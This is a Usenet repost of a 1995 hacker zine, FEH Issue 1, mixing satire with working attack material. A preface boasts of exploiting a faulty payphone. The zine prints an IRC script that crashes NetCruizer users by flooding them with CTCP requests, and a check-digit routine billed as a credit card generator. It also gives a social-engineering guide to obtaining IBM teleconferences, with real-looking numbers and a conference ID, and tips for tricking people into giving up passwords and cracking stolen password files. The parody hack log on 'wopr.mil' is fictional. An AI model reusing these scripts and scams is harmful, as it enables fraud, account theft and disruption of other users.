• FEH Issue 1 (retro)

    From Etheromania@etheromania@example.com to alt.2600 on Mon Jun 8 12:12:53 2026
    From Newsgroup: alt.2600

    This is the first issue of FEH, it was a zine made by the #hack channel
    on IRC and was considred high art at the time.

    On a personal note:

    Hooked on Phonics main order Line == 1-800-222-3334

    These poor people were my go to for so many situations where I needed
    an 800 number that I knew had a human on the other side. Impossible to
    forget. Victims of good marketing I suppose.

    There was a glitched out COCOT by my house that wouldn't cut the
    microphone after hanging up but the keypad would be disabled.

    1-800-ABC-DEFG was the hooked on phonics number from the commercial and
    I'd call it and talk in a funny voice irritating them until they hung
    up on me, I'd get access to the dial tone and then dial out using a
    pocket dialer or microrecorder.

    I tried this on several other COCOTS by always waiting after it hung up
    to send a DTMF tone over the line but none of them ever worked for some
    reason :(

    I also learned this cocot may very well have been owned by a friend of
    my mom. I stopped after that but sorry lady. Heh I remember wanting
    to ask which payphones she owned but decided that would sound weird and
    my mom probably didn't know.

    There weren't many banks of COCOTs in my town so.. odds.




    FFFFFFF EEEEEEE HHH HHH
    FFF EEE HHH HHH
    FFFFFFF EEEEEE HHHHHHHHHH
    FFF EEEEEE HHHHHHHHHH
    FFF EEE HHH HHH
    FFF EEEEEEEE HHH HHH

    U L A
    X E X
    I E O
    N' T R

    Issue #1
    July 1st, 1995


    Editor: ReDragon
    Fuxin' Eleet Haxor of the Month: Hotrod
    Fuxin' Eleet Haxor Member List: TOP SECRET
    Official FEH Porn Supplier: twi
    Official passed out drunk of FEH: y
    Official FEH bartender: thomas
    Chicago subsidiary of FEH: l0ck
    Official FEH Historian: SnoCrash
    Official FEH Warez Supplier: X
    Official FEH telco security: Dale Drew
    Official FEH distribution: Dark Tangent
    Official Vehicle of FEH: Saab
    Official Song of FEH: Thriller
    Official Alcoholic Drink of FEH: Goldshlager
    Official domain of FEH: feh.org
    Our current email address: feh@pussy.org

    Greetz To (if we left you out, itz cuz we dont got yer inpho) :
    aky, al, albatross, antichrist, armitage, artimage, baccahbar,
    barnasch, basehead, bedlam, blackdeath, blackfire, bluesman, c-curve,
    c_cipher, captain ahab, captain hook, ccrider, cerbus, chaos, clovis,
    corak, crax, crimelord, crushed puppy, cyntaxera, cyrix, d-fens,
    datarape, deathstar, defcon4, deker, digital, discodan, diskjockey,
    dob, dr. freeze, dragonlady, drd00m, dreamweaver, drmenace, drunkfux,
    drwarfare, dupre, eek, elastic, erikb, eternal, etrigan, excelsior,
    firefly, fisch, frank carson, freiheit, friede, genx, gfm, gheap,
    ghornet, grayareas, greylock, greystone, harvard, hellfire, henry,
    hos, howcum, hypnosis, interrupt, joybubbles, kc, kewp, kl, kracker,
    kurupt, leigh, lexicdvl, liquidice, loq, lordoptic, m0rph, mafiaman,
    malice, meowmix, mindcrime, mindscrew, moonchild, mrpurple, mrx,
    musicphreak, mycroft, nc-17, neophyte, niaht, nimrod, nitro187, noel,
    novocain, nyar, nynex, olphart, omega, opiate, oreo, pandora, paradox,
    pclord, plant, play, pmf, purpcon, pyro, qwik, r-a-d, radikahl,
    radman, rahdude, ratscabies, razor, rebel, redskull, rhit, roach,
    scojack, sevenup, silicon, sl, slammer, slpwalker, socket, solstice,
    sparhawk, speedrcr, sphice, splice, sserpent, stealth, strauhd,
    studload, subzero, swinder, tedbundy, tek, tekone, tele, tewph, tinyz,
    totlvizn, tsoul, utahsaint, valgamon, virus, visionary, winter, wozz,
    xn4rk, xymox, z1nk, zaphod, zorphix


    Ahoy!
    That's how Alexander Graham Bell used to answer his phone.
    For some reason, it never caught on...

    Well, here it is. The first issue of FEH, a 'zine in its incarnation
    already famous and destined for greatness. Richard Steele, ex-cia
    agent, says of FEH, "my penis is HUGE". While I'm not sure exactly how
    this relates to FEH, he IS ex-cia, so we better publish whatever he
    says. Erik Bloodaxe, aka Chris G., when asked about the prospects of
    facing a FEH issue against Phrack, exclaimed "dude, i own you. i mean,
    we're all running yer scripts anyhow." Grayarea, publisher of, oddly
    enough, grayareas, wrote about our release, "spell it Gray Areas."
    Perhaps most impressive of all, Emmanuel Goldstein, when faced with the
    certain demise of 2600 given FEH's release, commented "will you leave
    me alone if i give you a quote?" And so, without further adieu, I
    present to you, FEH #1.



    Table of Contents:
    1. Intro (you've already read that part if you've gotten this far)
    2. Table of Contents (maximum recursion depth exceeded)
    3. Editorial by Fuxin' Eleet Haxors
    4. /var/spool/mail/feh
    5. Some C code by Fuxin' Eleet Haxors
    6. hack logs by Fuxin' Eleet Haxors
    7. "Just how eleet is FEH" by Rasputin Worldmonger (thats not his
    real nick) 8. "Teleconf stuff" by Morph (ed: this was too complicated,
    i didnt read it) 9. "Ways to amuse yerself" by Rush2 (other than
    masturbating) 10. "The Tack Story" by Hotrod
    11. "The Birth of FEH" by SnoCrash
    12. An Interview with Dale Drew [part 1] by ReDragon
    13. "How to Hack Using Scripts [part 1] by Seven Eleven
    14. "How to Hack a Toaster Oven" by bl0ke

    To Submit articles for future issues of FEH (expect it to be released
    every month or so), e-mail ReDragon (current address: redragon@chewy.wookie.net), or contact him through other means (most
    people know where to find ReD).


    // 3. Editorial

    Too many people that are in the 'scene' today seem to do nothing but
    hoarde things. Send me this, gimme this seems to be the prevailing
    attitude of the day. If you are going to get on the net and try to
    hoarde anything, make it knowledge. Spend your time learning instead
    of trying to get toolz out of people and figuring out who the newest
    irc chick is. Sometimes that means talking to people on irc, but most
    of the time that means getting out there and doing it yourself. Its
    fine if you want to do the whole social scene of hacking or phreaking
    or warez or ansi, they are all different but in essence, they are all
    about entertainment on IRC. But at the heart of them is a common goal,
    why which ultimately people are judged. Which of these groups have the
    purest goals? To have all the warez? To make the coolest ansi or
    demo? To setup a conf? No, its knowledge. And that's why we are
    fuxin' eleet hackers. And that is our ideal. Now, you may see us on
    #hack 24 hours a day, but trust me, we idle a lot, and despite the fact
    that we may be active in the 'social scene' of hacking, it is what we
    are doing in another window while the irc screen scrolls that makes us
    fuxin' eleet, not what we do on IRC.
    - All the members of FEH



    // 4. /var/spool/mail/feh

    Someone sent this to one of the FEH members, anonymously, so we dunno
    where it came from or who wrote it. The names were removed to protect
    the obviously guilty...

    Most of the stuff is from my latest performance report. Prior to that I
    worked in the Computer Security Branch as the Virus/Pc expert. In that capacity I was responsible for taking care of any and all problems
    concerning viruses and P.C.s. I was taken from a shop where I was
    doing communications security due to my extensive knowledge of p.c.s
    and my decent programming skills. They needed someone with some
    knowledge and foundation in taking care of Personal Computers. I
    established a base line program for dealing with computer viruses,
    handling copyright issues and dealing with user problems associated
    with Personal Computers. We were having some difficulty with users not
    being able to distinguish between viruses and program gliches due to
    software problems. That's where I came in. O.k. from there they
    figured out that I am very good with computers. They needed someone to
    handle Network Security who could do tiger team actions and monitor our networks. They felt due to my computer knowledge I would be the most
    viable candidate. The following is directly from my performance report.

    "Expert in all aspects of Wide Area Network(WAN) security support. Responsible for executing all portions of periodic system security
    audits to find and correct host security vulnerablilities. Assists HQ
    USAF Local Area Network (LAN) systems administrators and customers in implementation of security safeguards on all UNIX hosts. Proactively
    analyzes Network Security Monitors (NSM) logs for indications of
    attempted or successful intrusions. Systems administrator for DSST
    SPARC station platforms."

    "Heart of the agency's newly established wide area network security
    program. Developed and documented procedures for monitoring the HQUSAF backbone. Security program has led to the most protected network within
    the DOD rated by the Defense Information Systems Security Agency as the
    best of 9000 systems audited by its elite Center for information
    Security. Performs aggressive quarterly security audits of the HQ USAF
    WAN. Created software tools and new hacking techniques used by the Air
    Force Information Warfare Center for their on-line surveys of worldwide
    sites. Resident expert on UNIX security.
    Trained counterparts throughout the agency on our methodology enabling
    them to secure their networks.
    Regularly called upon by outside agencies for assistance.
    Expertise passed to other system administrators through articles
    published in directorate's security newsletter."

    "leader who has brought the agency's network security program from the
    infancy stage to a mature sustainable program which has Air Force wide recognition.
    Knowledge of UNIX security and leading edge hacking techniques makes
    him a valued source of information thoughout DOD."



    // 5. Some C code by Fuxin' Eleet Haxors

    fehit.c (we ran this through itself):
    /* TH1S W1LL MAK3 Y0UR F1L3S FUX1N' 3L33T */
    #1NCLUD3 <STD10.H>
    #1NCLUD3 <STR1NGS.H>
    #1NCLUD3 <CTYP3.H>

    MA1N()
    {
    CHAR L1N3[100];
    CHAR C;
    1NT 1;

    WH1L3(G3TS(L1N3))
    {
    F0R(1=0;L1N3[1];1++)
    {
    L1N3[1]=T0UPP3R(L1N3[1]);
    1F(L1N3[1]=='3')
    L1N3[1]='3';
    1F(L1N3[1]=='1')
    L1N3[1]='1';
    1F(L1N3[1]=='0')
    L1N3[1]='0';
    }
    PUTS(L1N3);
    }
    }

    The world's most fuxin eleet credit card generator (yes it works):
    main(){int i,x,n=1,t,s=0;scanf("%d",&i);for(;n<i;n++){scanf("%d",&x);
    t=((n+i%2)%2+1)*x;s+=t+t/10;}printf("%i",(10-s%10)%10);}

    Some random IRC script that we have no idea where it came from:
    # NetCrasher -=- (c) 1995
    # Utilize a nice bug in the NetCruizer IRC client to crash
    # one or many NetCruizer lamers when they are using IRC.
    ^assign ctcpstring ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A
    ^AFINGER^A ^AFING ER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A
    ^AFINGER^A ^AFINGER^A ^AFINGER ^A ^AFINGER^A ^AFINGER^A ^AFINGER^A
    ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A
    ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AF INGER^A ^AFINGER^A
    ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFING ER^A
    ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A
    ^AFINGER ^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A
    ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A ^AFINGER^A
    ^AFINGER^A ^AFINGER^A ^alias crash eval msg $0 $ctcpstring alias
    crashall { ^assign TIME 1
    ^assign -DOIT
    on ^raw_irc "% 352 *" {
    ^assign DOIT $DOIT;^timer $TIME crash $7
    ^assign TIME ${TIME+7}
    }
    on ^raw_irc "% 315 *" {
    on raw_irc -"% 352 *"
    on raw_irc -"% 315 *"
    eval $DOIT
    }
    who *.ix.netcom.com
    wait
    echo *** Will crash ${(TIME-1)/7} users...
    echo *** Time required to avoid excess flood: $TIME seconds
    }
    ^on ^send_msg "% *^A*^A*^A*^A*^A*" echo *** Crashing NetCruizer lamer:
    $0 echo *** NetCrasher loaded. /crash <nick> to crash a single
    NetCruizer lamer echo *** /crashall to crash all NetCruizer lamers off
    IRC (will lag you) echo *** Note that users crash immediately but do
    not leave IRC until the echo *** server gives them a ping timeout.

    Secure your PC using your joystick to enter your password:
    [ed note: whoever wrote this should be shot, unless they have greatly
    grown and only code in C now and anyhow I was only like 13
    when I wrote it so gimme a break, fuck you ed!]

    {$M 1024,0,1024}
    uses dos,crt;
    var TimeTick : procedure;
    type joystickrec = record
    b1 : boolean; b2 : boolean; x : word;y : word; end;
    plist = record
    pbyte : byte; next : pointer; end;

    var joy : joystickrec; pass: boolean;isleft: boolean;
    leftit: byte; rightit: byte;pb: byte;i:byte;
    pfile: file of byte;xl,xc,xr : boolean;
    yu,yc,yd : boolean;a,b:pointer;
    pl,pl1: ^plist;

    procedure brk;
    interrupt;
    begin
    end;

    procedure readjoystick(var joystick:joystickrec);
    var regs: registers;
    begin

    regs.ah:=$84;
    regs.dx:=$00;
    intr($15,regs);
    if (regs.al AND 16)=0 then joystick.b1:=true else
    joystick.b1:=false;
    if (regs.al AND 32)=0 then joystick.b2:=true else
    joystick.b2:=false;
    regs.ah:=$84;
    regs.dx:=$01;
    intr($15,regs);
    joystick.x:=regs.ax;
    joystick.y:=regs.bx;
    xl:=false; xc:=false; xr:=false;
    yu:=false; yc:=false; yd:=false;
    with joystick do begin
    if x<10 then xl:=true;
    if (x>=50) and (x<=150) then xc:=true;
    if (x>150) then xr:=true;
    if (y<10) then yu:=true;
    if (y>50) and (y<100) then yc:=true;
    if (y>100) then yd:=true;
    end;
    end;
    procedure writetf(bol:boolean);
    begin
    if bol then write('True ') else write('False ');
    end;

    procedure readfail;
    begin
    writeln('Verifying Joystick Input....');
    writeln('Unable to Verify Password - System Halted');
    halt(0);
    end;

    procedure xcenter;
    begin
    with joy do begin
    repeat
    readjoystick(joy);
    if (not yc) then pass:=false;
    until xc or (b1 and b2);
    if (b1 and b2) then readfail;
    end;
    end;

    procedure ycenter;
    begin
    with joy do begin
    repeat
    readjoystick(joy);
    if (not xc) then pass:=false;
    until yc or (b1 and b2);
    if (b1 and b2) then readfail;
    end;
    end;

    procedure left;
    begin
    with joy do begin
    repeat
    readjoystick(joy);
    if (not yc) or (xr) then pass:=false;
    until xl or (b1 and b2);
    if (b1 and b2) then readfail;
    end;
    end;

    procedure right;
    begin
    with joy do begin
    repeat
    readjoystick(joy);
    if (not yc) or (xl) then pass:=false;
    until xr or (b1 and b2);
    if (b1 and b2) then readfail;
    end;
    end;

    procedure up;
    begin
    with joy do begin
    repeat
    readjoystick(joy);
    if (not xc) or (yd) then pass:=false;
    until yu or (b1 and b2);
    if (b1 and b2) then readfail;
    end;
    end;

    procedure down;
    begin
    with joy do begin
    repeat
    readjoystick(joy);
    if (not xc) or (yu) then pass:=false;
    until yd or (b1 and b2);
    if (b1 and b2) then readfail;
    end;
    end;

    procedure press1;
    begin
    with joy do begin
    repeat
    readjoystick(joy);
    if (b2) then pass:=false;
    until b1;
    if (b1 and b2) then readfail;
    end;
    end;

    procedure press2;
    begin
    with joy do begin
    repeat
    readjoystick(joy);
    if (b1) then pass:=false;
    until b2;
    if (b1 and b2) then readfail;
    end;
    end;

    procedure nopress1;
    begin
    with joy do begin
    repeat
    readjoystick(joy);
    if (b2) then pass:=false;
    until (not b1);
    if (b1 and b2) then readfail;
    end;
    end;

    procedure nopress2;
    begin
    with joy do begin
    repeat
    readjoystick(joy);
    if (b1) then pass:=false;
    until (not b2);
    if (b1 and b2) then readfail;
    end;
    end;

    begin
    readjoystick(joy);
    Writeln('Joystick Password Verification'); Writeln('------------------------------');
    Writeln('Please Input Your Password with the Joystick Now');
    Writeln('Press both joystick buttons simultaneously to verify your
    password.'); getintvec($1b,a);
    getintvec($23,b);
    setintvec($1b,@brk);
    setintvec($23,@brk);
    assign(pfile,paramstr(1));
    {$I-} reset(pfile); {$I+}
    if ioerror<>0 then begin
    writeln('Could Not Read Password - System Halted');
    repeat until 1=0;
    end;
    new(pl);
    while not eof(pfile) do begin
    read(pfile,pb);
    pl^.pbyte:=pb;
    new(pl1);
    pl^.next:=pl1;
    pl1^.next:=nul;
    pl:=pl1;
    end;
    close(pfile);
    repeat
    pass:=true;
    leftit:=0;
    isleft:=false;
    with joy do
    begin
    xr:=false;
    for i:=1 to 5 do begin
    xcenter;
    left;
    end;
    xcenter; right; xcenter; up; ycenter; down; ycenter;
    for i:=1 to 5 do begin
    xcenter;
    right;
    end;
    xcenter; left; xcenter; up; ycenter; down; ycenter;

    for i:=1 to 4 do begin press1; nopress1; end;
    for i:=1 to 3 do begin press2; nopress2; end;
    for i:=1 to 2 do begin press1; nopress1; end;
    press2; nopress2;

    repeat
    readjoystick(joy);
    until (b1 and b2);
    if (pass) then begin
    writeln('Verifying Joystick Input...');
    writeln('Password Verified - Continue');
    end
    end;
    if (pass) then begin
    gotoxy(1,18); writeln('ACCESS DENIED - INCORRECT PASSWORD');
    sound(500); delay(100); nosound; delay(100); sound(500); nosound;
    sound(500); delay(100); nosound; delay(100); sound(500); nosound;
    end;
    until pass;
    setintvec($1b,a);
    setintvec($23,b);
    end.



    // 6. Fuxin' Eleet Haxor Logs by Hotrod

    As an offering to the public to prove FEH's obvious superiority to
    l0ck, I decided to demonstrate a n00 h4q t3kn1qu3 recently developed in
    the FEH laboratories, located on a secret island in the Atlantic ocean.

    The n00 h4q t3kn1qu3 has been demonstrated on wopr.mil, once regarded
    as one of the most secure machines on the net. This machine alone
    determines whether or not to launch the nuclear missles of the United
    States. It runs on the US Military's top secret propriatary OS
    "Lesb/OS". Lesb/OS machines are no match for the awesome power of FEH.

    FEH proudly offers the following:

    ---

    Log start 5/30/95 22:17:36

    feh.org# uname -a
    UNICOS feh 4.3.5 #5 Tue May 30 22:17:36 EDT 1995 T3D
    feh.org# whoami
    root
    feh.org# telnet -safe wopr.mil
    Trying 194.33.43.1...
    Connected to wopr.mil.
    Escape character is '^]'.

    Don't even think about haxoring this site, bud.
    Try if you like, you will fail.
    Just don't get caught, or you'll pay the price.

    wopr login: root
    password: (we tried root)
    Login Incorrect

    wopr login: root
    password: (we tried no password)
    Login Incorrect

    wopr login: root
    password: (we tried pencil)
    Login Incorrect

    Ok, obviously our traditional hacking methods weren't working out at
    this point. We decided to go for some more sekretive methods...

    wopr login: lemmein
    password:
    Login Incorrect

    wopr login: iamfeh
    password:
    Login Incorrect

    wopr login: HEYASSHOLEIMROOTATFEHORGLEMMEINORYOUREDEAD
    password:

    Welcome to Lesb/OS 2.2.12
    Last Login: NEVER

    News:

    The Lesb/OS upgrade to 2.2.12 was successful, we apoligize for any inconvenience this may have caused.

    As of 5/28/95 @ 20:34 hours, we have been restored from Defcon 4 to
    Defcon 5.
    __

    You have no mail.

    wopr> pwd
    /home/fehroot
    wopr> cd /bin
    wopr> ls -al sh
    -rwxr-xr-x 2 bin bin 131072 Feb 3 01:53 sh
    wopr> chmod 4755 sh
    chmod: sh: not owner.
    wopr> ~/look.im.feh.and.if.you.dont.follow.my.orders.youre.fucked
    wopr# whoami
    root
    wopr# ftp
    open feh.org
    Connected to feh.org
    220 feh FTP server (UNICOS feh 4.3.5 #5 Tue May 30 22:54:18 EDT 1995
    T3D) ready.
    Name (feh.org:root): feh
    Password (feh.org:feh):
    331 Password required for feh.
    230 User feh logged in.
    Remote system type is UNIX.
    Using binary mode for file transfers.
    lcd /etc
    Local directory now /etc
    get fehmotd
    200 PORT command successful.
    150 Opening BINARY mode data connection for fehmotd (1056 bytes).
    226 Transfer complete.
    1056 bytes received in 0.021 secs (49 Kbytes/sec)
    quit
    221 Goodbye.
    wopr# cp /etc/fehmotd /etc/motd
    wopr# cat /etc/motd

    Congratulations, You've Been Haxored by the Best!

    It wasn't LOD......
    It wasn't l0ck.....
    It wasn't m0ck.....
    It wasn't mitnick..

    You've been hacked by

    FFFFFF EEEEEE HH HH
    FF EE HH HH
    FFFFF EEEE HHHHHHH
    FF EE HH HH
    FF EEEEEE HH HH
    uxin leet axors

    You are likely to go through several stages of emotions at this point.
    First, denial, then anger, then acceptance that we are the most fuxin
    eleet haxors. In fact, you better hope we are, cuz if we aren't fuxin
    eleet and we still haxored yer system that means that yer a pretty fuxin
    shitty sysadmin now, doesn't it? FEH is roxin' the net, tell all yer
    friends we will soon be visiting their site, I hope they will be kind
    enough to leave the door as open as you were.
    wopr#
    [Subsequently removing any trace of this machine from the net deleted.]

    Comments:

    Easier than even we at FEH thought it would be. We drove the machine
    into such fear, that in our presence it gave us root. Note that we
    never actually modified anything, or even ran any new shell, the
    machine simply submitted to our eliteness, and, in a possible attempt
    to garner mercy at our hands, gave us root without making us go through
    the formalities.

    Our work remains solid in this wonderful sight:

    feh.org# whois -h nic.ddn.mil wopr.mil
    No match for "WOPR.MIL".

    Please be advised that this whois server only contains DOD Information.
    All INTERNET Domain, IP Network Number, and ASN records are now kept in
    the new Internet Registry, RS.INTERNIC.NET (198.41.0.5).
    feh.org#



    // 7. Just How Eleet Is FEH by a Fuxin' Eleet Haxor

    1 AM A PR0UD M3MB3R 0F FEH. 1 SAY THAT PUBL1CALLY, 1 SAY THAT
    L0UDLY, 1 SAY THAT STR0NGLY, AND 1 CAN SAY THAT CUZ W3 FUX1N R00L.
    W3 AR3 3L33T. N0T 0NLY THAT, BUT W3 AR3 3L1T3. 3L33T AND FUXK1NG
    R0CK1NG. W3 AR3 S0 C00L THAT W3 HAV3 R3C0NF1GUR3D R0UT3RS T0
    AUT0MAT1CALLY G1V3 0UR PACK3TS H1GH3R PR10R1T13S. W3 0WN
    APPR0X1MAT3LY 37% 0F ALL UN1X MACH1N3S 0R R0UT3RS 0N TH3 1NT3RN3T.
    W3 SN1FF C1X, MA3-3AST, TH3 CH1CAG0 NAP, AND C3RT. 1N SH0RT W3 R0CK.
    H0W CAN W3 R0CK TH1S MUCH, Y0U M1GHT ASK? W3LL, THAT'S R3ALLY A
    S1LLY QU3ST10N, AND Y0U'D B3ST N0T ASK 1T, B3CAUS3 W3'V3 SCR1PTS
    S3TUP 0N 0UR SN1FF3RS (APPR0X1MAT3LY 4000 MACH1N3S HAV3
    AUT0SN1FF3R/F1LT3RS) THAT W1LL MA1L US THAT Y0U'R3 TALK1NG AB0UT US.
    1N SH0RT - WATCH 0UT. W3 AR3 TH3 P30PL3 WH0 RUN TH3 N3T. W3 AR3 TH3
    P30PL3 WH0 BACKD00R3D PGP, W3 BACKD00R3D B1ND, W3 BACKD00R3D ARGUS,
    TCP_WRAPP3RS, AND 1F Y0U KN3W H0W MANY ST0CK B1NAR13S 1N S0LAR1S,
    1R1X, AND A1X W3 HAV3 TR0JAN3D 1N TH3 C0D3R'S MACH1N3S, Y0U'D SH1T
    Y0UR PANTS. W3 R3C0NF1GUR3D R0UT1NG AT TH3 NAPS AND C1X B3CAUS3 TH3
    FAT FUX WH0 RUN TH3 NAPS AR3 T00 FUCK1NG STUP1D AND LAZY T0 D0 1T
    R1GHT. 1T D1DN'T HURT THAT TH3 PACK3TS TRAV3L 0V3R TH3 SN1FF3R'S
    3TH3R, BUT 3V3N W1TH THAT 3XTRA (TRANSPAR3NT) H0P, W3 1NCR3AS3D
    3FF1C13NCY BY 3.2 %. BUT TH3 0NLY TH1NG Y0U R3ALLY N33D T0 KN0W 1S
    THAT W3 AR3 FUCK1NG 3L33T, W3 AR3 HACK3RS, AND W3 W1LL D0 WHAT W3
    WANT. D0N'T TRY T0 R3S1ST US, W3 W1LL 0V3RC0M3 ANY S1LLY C3RT
    ADV1S0R13S Y0U PUT 0UT. W3 AR3 TH3 0N3S WH0 S3TUP M1TN1CK'S BUST,
    B3CAUS3 W3 W3R3 T1R3D 0F H1S S1LLY PR3SS. W3 AR3 TH3 0N3S WH0 MA1L3D
    SH1M0' TH3 L0GS. W3 AR3 FEH. W3 AR3 Y0UR FR13ND, UNT1L Y0U M0V3
    AGA1NST US. AND TH3 Y0U W1LL F1ND Y0UR SYST3M, Y0UR T3L3PH0N3, Y0UR
    B1LLS, Y0U L1F3, MUCH M0R3 D1FF1CULT. L0V3 FEH - W3 AR3 Y0UR MAST3R,
    AND W3 AR3 Y0UR 0WN3R. B3 G00D T0 US, AND W3 W1LL TR3AT Y0U W3LL.
    R3B3L AND F33L PA1N. [FEH] 3VANG3L1ST - RASPUT1N W0RLDM0NG3R



    // 8. Something about Teleconferencing Stuff by Morph

    An Overview of American Teleconferencing Service,
    ^..^ their relationship to IBM, and TiNets ^..^
    (oo) - eye [Part 1] (oo) -
    me ( . ) phear researched and compiled by Morpheus
    ( . ) too `. ' feh with thanks to Prophet and
    also the ` .' . cooperative
    employees I spoke with. . PHEAR
    PHEAR -=FEH=-
    root:Donteventhinkofit:0:1:Operator:/:/bin/csh -=FEH=-
    -[*.gsfc.nasa.gov:/etc/passwd]
    Kopyright (k) Morpheus 1995,
    all rights reserved.
    [ed note: feel free to steal this and claim it as your own]

    --------------------------
    Introduction
    --------------------------
    A Canadian affiliate of CAFBL tipped me off that IBM teleconferences
    had been used before through a toll free line. So I investigated how
    IBM teleconfs are setup, who makes them with what software, and how to
    access IBM conferences.

    Well I called up IBM's toll-free information line available from
    the 800# index and began a very blunt attempt to socially engineer
    teleconfs from IBM. The guy I talked to with told me to work through my
    regional directors, not through the software information line, and
    he gave me the number to American Teleconferencing Service, which
    exclusivly handles IBM extrenal teleconfs. American is a southern
    company, located in Tousan, AZ.

    This was originally designed as a scam article, a step by step guide
    to the tricks and traps involved with setting up American
    Teleconferences through IBM. Upon further consideration, I went back
    and edited the article to make it more informational and less "LeT'z
    HaCk Th0sE FuCkeRz!" I am sure that the rewording of this paper will
    not make fraudulent use of the information any less compelling, but I
    do feel sure that half-assed phreakers would be better off sticking
    with old AT&T. [ed note:
    i wish he just gave us codes, all this technical stuff makes my head
    hurt.]

    --------------------------------------
    A look at an American Teleconfernce
    --------------------------------------

    American Teleconferences conference setup looks like this:

    ===========================================
    - 6500800 - TiNet Dialin - Accessible to IBM and not you.
    - 7194440800 - External Dialin - Regular Telephone number.
    - 157998 - Conference ID - Use this to access account and conference. ===========================================

    Also, American teleconference offers an optional toll free line to dial
    in to the conference. This is the only option they offer for external
    access to the conferences. TiNet works from probably all IBM phone
    lines, by dialing 271 followed by the TiNet number.

    American works on a fairly primitive conferencing system, they simply
    connect each line to the other lines as they call in. There is no
    conference hub, so if you're the first caller, you get put on hold
    until the next caller comes in. The music sucks, i mean, this is
    really terrible music. [ed note: you might like the music, some people
    set these confs up themselves just so they can hear the hold music, and
    nobody ever calls.]

    An automated conference conection does not exist, and there is no real
    access code to enter. Once you dial into the conference, you are
    greeted by the operator who asks you for you conference ID number and
    your name. A list of names can be generated and given to the operator
    before the conference.

    ---------------------------
    How American Operates
    ---------------------------

    All IBM groups that use American have files in American's
    Databases. Contained in your file is your name, title, office
    phone, office address, which will also be your billing address, and
    your department number. This is an example of what the file would look
    like when brought up on their screen:

    ========================== ============
    Name [ Bruce Sterling ] : [ Hi Bruce ]
    Dpt [ # 5176 ] : [ from the last 4 digits of phone number ]
    Addr [ 227 Maple Lane ] : [ Office adress / billing adress ]
    Addr [ Phila PA 19191 ] : [ Use the closest corp/office ]
    Phon [ 512-323-5176 ] : [ Office Numba ]
    XXXX [ Billed 1/11/11 (status) ] : [ Did yew pay your bills? ]
    XXXX [ Billed 1/11/11 (status) ]
    XXXX [ (Notes) ] : [ He writes books ]
    ========================== ============

    This is certainly *not* a screen capture, so the screen the operator
    will see is very probably more complex. Also the Fields represent
    variable areas, you probably get a better idea of what the operator
    is thinking when talking to you through this.
    [ed note: the operator is probably thinking about how her life ended up
    so miserably that she is working as a telephone operator.]

    Billing status can include a refuse notice for delayed payment or
    whatever. The Notes can be preferences, such as toll free access or
    possibly something else. Callback confirmation is usually not
    utilized, since the bill is not included with the phone bill, but is delivered to the billing address. Your number appears on their
    terminal also, with whatever comments are attached to that.

    American has become so exclusively dedicated to serving IBM that
    operators will sometimes get on and say "IBM Conference Service." I
    also spoke to some operators about what software they were running and
    on what type of terminals which appears to be a big secret. [ed note:
    probably NOT os/2] EDICTS: Electronic Distribution Information Control Transaction System, file transfer system. Operates RO6000 Systems.
    Distributed by IBM. This is one of the programs used by American, the
    operator told me that much before she woke up a bit. This is a datacommunications software package, and is seperate from their audio /
    video teleconferencing software.

    ----------------------------------
    TiNet, TiLines, and TiSystems
    ----------------------------------

    TiNet dialins do not exist. The only way to access TiNet Services is
    through IBM's phone system. TiNet is simply the telephone system IBM
    strung together which makes conferencing and interoffice communications
    easier.

    In fact, TiNet was created as a datacommunications system that ended
    up with a gross excess of bandwith so they expanded into Voice
    Capabilities. TiLines can be setup in virtually any office, and for any
    large bussiness.

    Tinet's selling feature, so to speak, is that offices with TiLines
    installed can bypass long distance charges and Telephone Companies
    all together. This is particularly useful for Banks and Credit
    Unions who prefer the Security of private phone lines than the inherent
    lack of security in public / normal phone lines. [ed note: what about
    clipper?]

    In conclusion I would like to state that all of the information
    mentioned is for purely informational purposes and that, should any
    of you abuse IBM and American Teleconferencing, that would be illegal
    and you would be prosecuted. But then again, would any of us choose to
    break the law? Heavens no! [ed note: if you do happen to break the law,
    drop us a note so we know that this is useful.]

    -------------------------
    Fun Filled Numbers
    -------------------------

    IBM Software Information Service == 1-800-426-2255
    IBM General Information Line == 1-800-426-3333
    American Teleconference Reservation Line == 1-800-723-9093
    Hooked on Phonics main order Line == 1-800-222-3334
    IBM CORP main office [Philadelphia] == 215-851-2008
    IBM Teleconference Director's office [Philadelphia] = 215-851-3677

    The author's inpho:
    Morpheus can be reached at GBA 215-750-0392 or morph@chewy.wookie.net or morph@iia2.org. Send your public pgp key if you want a reply. Also,
    you can reach him at 800/862-0094 during the day from US, or from
    canada, 800/925-9999 ## 719. On EFnet, he's on #hack, #zines, and
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    // 9. How to amuse yourself by Rush2
    [ed note: this is what people that are not FEH might try]

    1. The Michael scam. One day a few days ago I got very very bored. I
    said what the hell. I bet I can get a lamer to give me his/her
    password. I thought of the most common name, michael, and changed my
    irc nick to .. DUH Michael.. within 10 minutes someone had mistaken me
    for her best friend michael.. she thanked me for somethign about
    hooking her up with alliance not the service, some guy. I bullshitted
    for 10 minutes, then really panick y like "Oh crap I just screwed up my account.. majorly would you gime your login and password pleaseeeee".
    Wellshe was that stupid and she gave it to me. I really wanted to know
    if anyone else was that stupid. I tried a lot of common names for the
    next 2 hours, john, mike, larry etc..etc.. I succeeded wiht 99% of my
    attempts, I got 19, failed once. SO do something like this if you are
    REALLY bored. [ed note: a bottle of scotch is far more effective than
    this]

    2. Trade passwd files.. hehe... when your bored change yer name on irc,
    go into #Hack see if you dont get kicked off and ask for passwd files..
    [ed note: if you don't get kicked off, hurt everyone that was opped]
    if you are really bored this can be fun and you can get some new
    systems to get in.. now unless your someone that is cracking them just
    to get as many accounts as you can (I feel hypocritical currently I
    have 1400 valid accounts on this local provider, on my computer
    upstairs (in just one day YES people in my area have easy passwds..
    only a 1mb file (AND just with login name I got 300 yesterday.. haha I)
    And I am hearing a lot of beeps (root was the first cracked account:)..
    this is something to do if you feel bored and lame...
    [ed note: mail the cracked password file to cert@cert.org and you win a
    prize]

